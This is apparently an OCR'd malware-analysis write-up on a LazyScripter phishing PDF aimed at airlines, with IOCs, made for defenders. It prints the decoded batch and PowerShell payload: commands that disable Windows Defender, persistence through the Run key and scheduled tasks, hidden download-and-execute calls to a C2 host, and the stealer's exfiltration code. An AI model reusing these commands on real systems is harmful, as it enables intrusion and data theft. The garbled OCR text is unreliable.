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Malicious PDF Document Analysis - Lazyscripter

File-information

LazyScripter is a threat group that has mainly targeted the airlines industry since at least 2018, primarily using

open-source toolsets 12 The threat actor gained initial access using malicious PDF, here are the details.

e Md5: 62610680349de97db658a7d41fc9a9b8 available in Any Run
 File Type: PDF

@ 19 security vendors and no sandboxes flagged this file as malicious

4594ab93854159d72ac1231e379bd24abe92336e6808ab2ac0251e5db8704a57 37655 KB 2022-05-09 08:37:22 UTC
4594ab93854159d72ac1231e379b024abe92336e6803ab2ac0251e5db704a57.bin Size a moment ago PDF
2
checks-network-adaplers  checks-userinput  defect-debug direct-cpu-clock- long-sleeps  pdf  runtime-modules

Community
X LV
Score

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

Security Vendors' Analysis

Ad-Aware @ Trojan.GenerickD. 43987154 AlYac (_I) Trojan.GenerickKD 48987194
Arcabit @ Trojan Generic D2EBTC3A Avira (no cloud) (_I) PHISH/KAB Talu wiziu
BitDefender @ Trojan.GenerickKD. 48987194 Cynet @ Malicious (score: 99)

Cyren @ PDF/Downldr NX Emsisoft @ Trojan GenerickD 48987194 (B)
eScan @ Trojan.GenericKD. 48987194 ESET-NOD32 @ PDF/TrojanDownloader.Agent ANL
GData @ Trojan GenerickKD 43987154 Lionic @ Trojan PDF Generic Olc

MAX @ Malware (ai Score=82) McAfee @ Artemisl626106803490
McAfee-GW-Edition (D) Artemis!Trojan Sophos (1) TrojfPDFDwn-AAH

Trellix (FireEye) @ Trojan GenericKD 48987194 TrendMicro-HouseCall @ Trojan PDF KAB VSNWOGE22
ViRobot () PDFZAgent 335534 Acronis (Static ML) (©) Undetecied

Work-flow

graph TD;
PDF --> Downloads_ZIP --> BatchScript --> Powershell --> Cn(;

Analysis
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Stagel

We can extract PDF properties using "PDFID" tool and below snip shows that it has "embedded /URI" content.

e _ _ Ppdfid ( . . wetMalicious. pdf
PDFiD @
PDF Hea

2800 0000033000 @Y

fLaunch
fEmbeddedFile

olm @

4y

With the help of "pdf-parser" these URL can be extracted. The Malicious PDF file pretends to be a fake patch
installation. The embedded link downloads password protected ZIP file and the password is hardcoded in PDF
file.
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pdf-parser -s "URI" : . Malicious.pdf

9.7.48/PATC CVESB456-

=XVE | Accredited
IATA Agent

Kindly install this patch to secure any connection to your sales platform.
Click here to download the patch.

Patch Password: SSL

Stage2

The unzipped file containing two batch scripts named it as "SecurityDsp.bat & SSLCertificate.bat", both having
identical contents with MD5 as "20e9e2e20425f5b89106f6bbace5381d"

The code is heavily obfuscated to evade the AV detection as below.
» Encoded

After replacing the each "SET" variables with the corresponding char and doing one more replacement in

Cyberchef results a clean and readable code. The entire code is available in below dropdown section.
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Recipe

Find / Replace

Find
%

Replace

Global match

[ Dot matches all

» Decoded

[ case insensitive
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Input

Q n (@HeXXCEhXXoN KoMkt ixTi
Frdkekigh XdXkekXlikekXtikek

" fehleili ] fkmi\ X s oA Pk i alX riek \ Kpliokk 1 XX 1 Kiec i 1 e kX s X\ Aimd:
SdXkekXtakeldnihdikelirk" STk

SIMPLE STRING ~

Output

- . @echo off

Multiline matching

reg delete "hklm\software\policies\microsoft\windows defender” /¥
reg add "hklm\software\policies\microsoft\windows defender” /v "disat
reg add "hklm\software\policies\microsoft\windows defender” /v "disat
reg add "hklm\software\policies\microsoft\windows defender‘mpengine™
reg add "hklm\software\policies\microsoft\windows defender\real-time
reg dword /d "1" /f

reg add “"hklm\software\policies\microsoft\windows defenderireal-time
Jjd "1t ff

reg add "hklm\software\policies\microsoft\windows defender\real-time
reg_dword /d "1" /f

reg add "hklm\software\policies\microsoft\windows defender\real-time
reg_dword /d "1" /f

reg add "hklm\software\policies\microsoft\windows defender\real-time

The decoded payload has capable of disabling multiple security features built in Defender, setting persistence

using Registry Keys and Scheduled Taks and also downloading next stage payload from mentioned URLs.
g Registry Key g ge pay

1. hxxp[://]hpsj[.]firewall-gateway[.]net:80/hpjs[.]Jphp

2. hxxp[://]hpsj[.]firewall-gateway]. net:443/uddiexplorer

reg add "hkey current user‘\software\microsoft\windows\currencversion\run" /v "#one" /t reg sz /d "powershell -w hidden \"add-type -
system.core;iex (new-object net.webclient).downloadstring('http://hpsi.firewall-gatewayv.net:80/hpis.php'):\"" /£

reg add "hkey_current_user\software\microsoft\windows\currentversion\run" /v "#oneupdate" /t reg_sz /d "powershell -w hidden \"add-
—assemblyname sSysStem.core;iex (new-object net.webclient).downloadstring('http://hpsi.firewall-gatewav.net:443/uddiexplorexr") ;\"" /1

"oci\program files\microsoft security client\setup.exe" /X /3 /disableoslimit

start /b powershell add-mppreference -exclusionpath "c:™ -force

start /b powershell add-mppreference -exclusionpath "c:\users" -force

start /b powershell -w hidden "iex(new-object net.webclient).downloadstring('http://hpsi.firewall-gatewav.net:443/nddiexplorex") ;"

start /b powershell -w hidden "add-type -assemblyname SySTEM.core;iex (new-object
net.webclient) .downloadstring ("http://hps.firewall-gatewav.net:80/hpis.php'):"

schtasks fcreate /sc minute /mo 60 /f /tn achromeupdater /tr "powershell -w hidden \"add-type -assemblyname SySTem.core;iex (new-ob
net.webclient) .downloadstring (' 'http://hps.firewall-gatewav.net:80/hpis.php'"'):\""

schtasks /f fcreate /sc minute /mo 60 /tn achromeupdateri /tr "powershell.exe -w hidden 'iex (new-object

net.webclient) .downloadstring (' 'htep://hpsy.firewall -gatewav.net:443/uddiexplorer''"); "' '1

Final-Stage

The final payload downloaded from above 1st URL is scripted in Powershell and steals user's info such as

(HostName, UserName, OS Architecture (32/64) & Verion, AD-Domain, System IP, Admin-check, enumerating

all running process etc..) All these data are encrypted with AES-CBC and sent over to C2 server.

Page 4 of 7


https://user-images.githubusercontent.com/71969773/167426557-63f38839-02c6-4227-b4d1-a96acaaba16c.png
https://user-images.githubusercontent.com/71969773/167426557-63f38839-02c6-4227-b4d1-a96acaaba16c.png
https://user-images.githubusercontent.com/71969773/167432115-2419633f-1c06-42ad-a363-ee9a21d01ea1.png
https://user-images.githubusercontent.com/71969773/167432115-2419633f-1c06-42ad-a363-ee9a21d01ea1.png

https://github.com /SrujanKumar-K/Blogpost /tree/main/LazyScripter

Svar Sleep = °©
SAES Key = "O
SAES_IV = " -I---'l-'-'-l-'. LT RTS

Hfunction RES Init CBC (SAES Key, SAES IV)
S§D = New-Cbject "System.Security.Cr

tography.hesManaged
$D.Mode = [System.Security.Cryptography.CipherMode] : :CEC
SD.Padding = [System.Security.Cryptography.PaddingModes
$D.BlockSize = 12°
SD.ReySize = 256
=] if (SAEs 1V) {

E if (EAES_IV.getType() Names -=gq "sString") {

SD.IV = [System.Convert]::FromBass€43tring (SAES_IV)
= }

= else {
$D.IV

SAES IV

E if (SAES Key) |
= if (5AES Key.getType().Nams -=g "String”) {
$D.Fey = [System.Convert]::FromBass64String ($AES Key)

"

= }
= else {
$D.Fey = $SAES Key

SD
=}

Hfunction AES Encryption(SAES Key, SAES IV, SunencryptedString) {
Sbytes = [System.Text.EnEDding] . :UTFS .GetBytes (SunencryptedString)
$D = RES_Init_CBC SAES Key JAES IV

STM = S$D.CreateEncryptor ()

SencryptedData = S$TM.TransformFinalBlock(Sbytes, [, Sbytes.Length);
[System.Convert] : :ToBase643tring (SencryptedData)

-1

Hfunction AES Decryption (5AES Key, SAES IV, Scipher) {

Sbytes = [System.CDnvert]_: :E‘rorﬂ.BaSEG-iString($c:ipher)

SD = RAES Init CBC SAES Key SAES IV

Sdecryptor = $D.Create§ecryptor_();

SRTYXYIQF = Sdecryptor.TransformFinalBlock($bytes, [, Sbytes.Length) ;
[System.Text.Encoding] : :UTF8.GetString (SRTXYIQF) . Trim( [char]l)

The response from C2 server is also an AES encrypted content and for reference the returned value
"LquqiDEONWIWMNG6NCrXeJg==" (extracted from Anyrun) is decoded to be "False". Following CyberChef

recipe can be used to decode the commands.
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Last bulld: £5 days ago

Recipe S ] Input

LqugiDESHWIWMNENCrXelg==
From Base64 ® n

Alphabet
A-Za-z@-9+/=

Remove non-alphabet chars

AES Decrypt © n Output

Key . False
QUF OVENOWVNETUSUT@hZVVhKVkhHQ1BNSUNSWERTREg= BASEG4

IV

VUVGYLVWTOSXWELQVkdORg== BASE64 ~

Maode Input Output
CBC Raw Raw

Based on decoded value, the corresponding code block is going to be executed.

if($c2 Command -eg "Falss"){

} elseif ($C2_Command -eq "R re") {
$ps = foreach ($i in Get-Process){§i.ProcessNams}; fEnumsrate all processss

Slocal ips = (Get-NetIPConfiguration | Where-Object { § .IPv4DefaultGateway -ne $null -and § .NetAdapter.Status -ne "Disconnected” }).IPv4Addre
$pst= Sarr —join ;" - -

§ps+= (Get-WmiCkject -Class win32_operatingSystem) .version;

S$ps+= (Get-WinSystemLocalse) .Nams

Sps+= ((get-date) - (gcim Win32 OpEratln.gSystEm) .LastBootUpTime) .TotalHours

$ps+= Ge=t-Dats —Format Tmm (MM/dd/ v
§pst = AES_Encryption $AES Key $AES w sps

Swoerh = Swor.Headers;
$werh.add ("2u ization", $pst);
Swarh.add "Mozilla/5.0 (Win NT 10.0; Win&4; x64) Kit/537.36 (KHTML,
$werh.add (" , $encrypted hostname) ;
Swer.downloadString ://hp firewall B0/calls");
} elself(SCZ Command.split (" ") [0] -eg " n
$filename = AES_Encryption SAES Key $AE5 IV $C2_Command.split("\") [-1]
$file content = [System.IO.File]::ReadallBytes (€2 Command.split (" ")[1])

$1 = [Convert]::ToBase&4String ($file content);

$eC2 Command = RES_Encryption SAES Key $AES IV §I;

SVHRIM = new-cbject net.WebClient; -

$K = SVHRJM.Headsrs;

SK.add("Con v

SK.add ("=

$VHRIM.UploadsString ("
} elseif ($C2_Command -=g

tryl

§ Reset Powershsll session (clsan)

§ NOT IMPLEMENTED YET

Sec = "NO";

}

catch{

Sec = $Error[0] | Out-String;

}

. SEncy-pt.ed UserName) ;

£ d.firewall-gatewav.net:80/messages", "

IRt

$I = RES_Encryption $AES Key $AES IV Sec;
SVHRIM = New-Cbjsct syatem Net.WebClient;
SVHRIM. Headers ["2 ic"] = $final hostname encrypted;

SVHRIM. Headsrs ["2u n"] = $I;
S$VHRIM.Headers[" $command _raw;
SVHRIM. downloadString (" p://hpsi.firewall-gateway.ne

} else|
try{
$ec = Invoke-Expression ($C2 Command) | Out-String;
}
catch{

2nd URL is also acting as a dropper and downloads payload using powershell cmdlet.After de-obfuscating several

stages, the final payload has also similar behaviour of stealing functionalities as mentioned earlier.
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curl -k http://hpsj.firewall-gateway.net:443/uddiexplorer

ndows NT 6.1; ident/7.8; rv:11.8) like Gecko")

eWay.nexc:

10C
Description URL/Hash
PDF 62610680349de97db658a7d41fc9a9b8
ZIP (Dropper) hxxp[://]1128[.1199[.]7[.]40/PATCH%20CVE00456-2022].]zip
Batch Script 20e9e2e20425f5b89106f6bbace5381d
URL_Dropper_1 hxxpl[://]hpsj[.]firewall-gateway[.]net:80/hpjs[.]Jphp
URL_Dropper_2 hxxpl[://Thpsj[.]firewall-gateway[.]net:443/uddiexplorer
C2 Server hxxpl[://]hpsj[.]firewall-gateway[.]net:443/operation
C2 Server hxxp[://]hpsj[.]firewall-gateway[.net:443/proxy
C2 Server hxxpl[://Thpsj[.]firewall-gateway[.]net:443/publish
C2 Server hxxp[://]hpsj[.]firewall-gateway[.]net:443/publishing
C2 Server hxxpl[://Thpsj[.]firewall-gateway[.]net:80/messages
References
Footnotes

1. https://attack.mitre.org/groups/G0140/ «

2. https://www.malwarebytes.com/resources/files/2021/02/1azyscripter.pdf «
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